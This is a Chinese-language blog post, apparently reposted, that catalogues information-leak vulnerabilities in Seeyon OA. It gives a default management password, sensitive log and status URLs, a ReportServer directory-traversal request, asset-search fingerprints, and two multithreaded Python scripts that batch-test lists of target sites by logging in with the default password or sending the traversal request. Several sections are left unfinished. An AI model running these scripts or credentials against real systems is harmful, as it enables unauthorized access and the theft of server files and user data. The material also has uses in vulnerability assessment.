前言
用友致遠(yuǎn)OA協(xié)同管理軟件為企事業(yè)組織提供了一個(gè)協(xié)同辦公門戶和管理平臺(tái)，涵蓋了組織運(yùn)營涉及的協(xié)作管理、審批管理、資源管理、知識(shí)管理、文化管理、公文管理等內(nèi)容，支持企事業(yè)組織的信息化擴(kuò)展應(yīng)用，能有效幫助組織解決戰(zhàn)略落地、文化建設(shè)、規(guī)范管理、資源整合、運(yùn)營管控等難題，是組織管理的最佳實(shí)踐。
產(chǎn)品系列: A3、A6、A8
品牌: 用友
對(duì)象: 微型、小型企業(yè)、企業(yè)部門級(jí)
敏感信息泄露
A6 status.jsp 信息泄露漏洞
漏洞描述
致遠(yuǎn)OA A8-m 存在狀態(tài)監(jiān)控頁面信息泄露，攻擊者可以從其中獲取網(wǎng)站路徑和用戶名等敏感信息進(jìn)一步攻擊
漏洞影響
致遠(yuǎn)OA A8-m
網(wǎng)絡(luò)測(cè)繪
title=“A8-m”
漏洞復(fù)現(xiàn)
訪問監(jiān)控頁面
/seeyon/management/status.jsp
后臺(tái)密碼為 WLCCYBD@SEEYON
登錄后通過如下url獲得一些敏感信息
/seeyon/management/status.jsp
/seeyon/logs/login.log
/seeyon/logs/v3x.log
POC 批量檢測(cè)
思路：python post發(fā)包登陸，頭部location：會(huì)進(jìn)行跳轉(zhuǎn)以及狀態(tài)碼一般為302
# -*- coding: utf-8 -*-
'''
@Time : 2023-03-18 11:14
@Author : whgojp
@File : POC.py
'''
import requests
from threading import Thread
THREAD_NUM = 10
password = 'WLCCYBD@SEEYON'
with open('urls.txt', 'r') as f:
urls = [url.strip() for url in f.readlines()]
def check_url(url):
if 'https' not in url:
url = 'http://' + url
try:
# 發(fā)送POST請(qǐng)求
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36',
'Accept-Encoding': 'gzip, deflate',
'Referer': url + '/seeyon/management/index.jsp',
}
response = requests.post(url + '/seeyon/management/index.jsp', data={'password': password}, headers=headers,
allow_redirects=False)
# 判斷是否登錄成功
if response.status_code == 302 and 'Location' in response.headers and response.headers['Location'].endswith(
'/seeyon/management/status.jsp'):
# 登錄成功，輸出URL
print(url + ' is vulnerable')
with open("result.txt", "a") as f:
f.write(f"{url} is vulnerable.\n")
else:
# 登錄失敗
pass
except:
# 出現(xiàn)異常
pass
threads = []
for i in range(THREAD_NUM):
thread_urls = urls[i::THREAD_NUM]
thread = Thread(target=lambda urls: [check_url(url) for url in urls], args=(thread_urls,))
threads.append(thread)
for thread in threads:
thread.start()
for thread in threads:
thread.join()
getSessionList.jsp Session泄漏漏洞
漏洞描述
通過使用存在漏洞的請(qǐng)求時(shí)，會(huì)回顯部分用戶的Session值，導(dǎo)致出現(xiàn)任意登錄的情況
網(wǎng)絡(luò)測(cè)繪
app=“致遠(yuǎn)互聯(lián)-OA”
批量檢測(cè)POC
致遠(yuǎn)OA 帆軟組件 ReportServer 目錄遍歷漏洞
漏洞描述
致遠(yuǎn)OA 帆軟組件 ReportServer接口存在目錄遍歷漏洞，攻擊者通過漏洞可以獲取服務(wù)器敏感信息
漏洞影響
致遠(yuǎn)OA 帆軟組件
網(wǎng)絡(luò)測(cè)繪
title=“致遠(yuǎn)A8-V5協(xié)同管理軟件 V6.1sp1”
POC(批量檢測(cè))
# -*- coding: utf-8 -*-
'''
@Time : 2023-03-20 16:53
@Author : whgojp
@File : POC.py
'''
import requests
import threading
def check_url(url, counter):
if 'https' not in url:
url = 'http://'+url
try:
url = url + '/seeyonreport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=../¤tUserName=admin¤tUserId=1&isWebReport=true '
response = requests.get(url, timeout=5)
if response.status_code == 200:
print(f"{url} is accessible.")
with open("result.txt", "a") as f:
f.write(f"{url} is accessible.\n")
else:
pass
except requests.exceptions.RequestException as e:
pass
counter[0] += 1
print(f"Scanning progress: {counter[0]}/{counter[1]}")
urls = []
with open("urls.txt", "r") as f:
for line in f:
urls.append(line.strip())
threads = []
counter = [0, len(urls)]
for url in urls:
thread = threading.Thread(target=check_url, args=(url, counter))
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
如果要讀取文件進(jìn)行目錄遍歷，只需要更改file_path就行了文章來源：http://www.zghlxwxcb.cn/news/detail-432973.html
A6 createMysql.jsp 數(shù)據(jù)庫敏感信息泄露漏洞
待續(xù)文章來源地址http://www.zghlxwxcb.cn/news/detail-432973.html
A6 DownExcelBeanServlet 用戶敏感信息漏洞
A6 initDataAssess.jsp 用戶敏感信息漏洞
A6 config.jsp 敏感信息泄漏漏洞
到了這里，關(guān)于致遠(yuǎn)OA敏感信息泄露漏洞合集(含批量檢測(cè)POC)的文章就介紹完了。如果您還想了解更多內(nèi)容，請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！
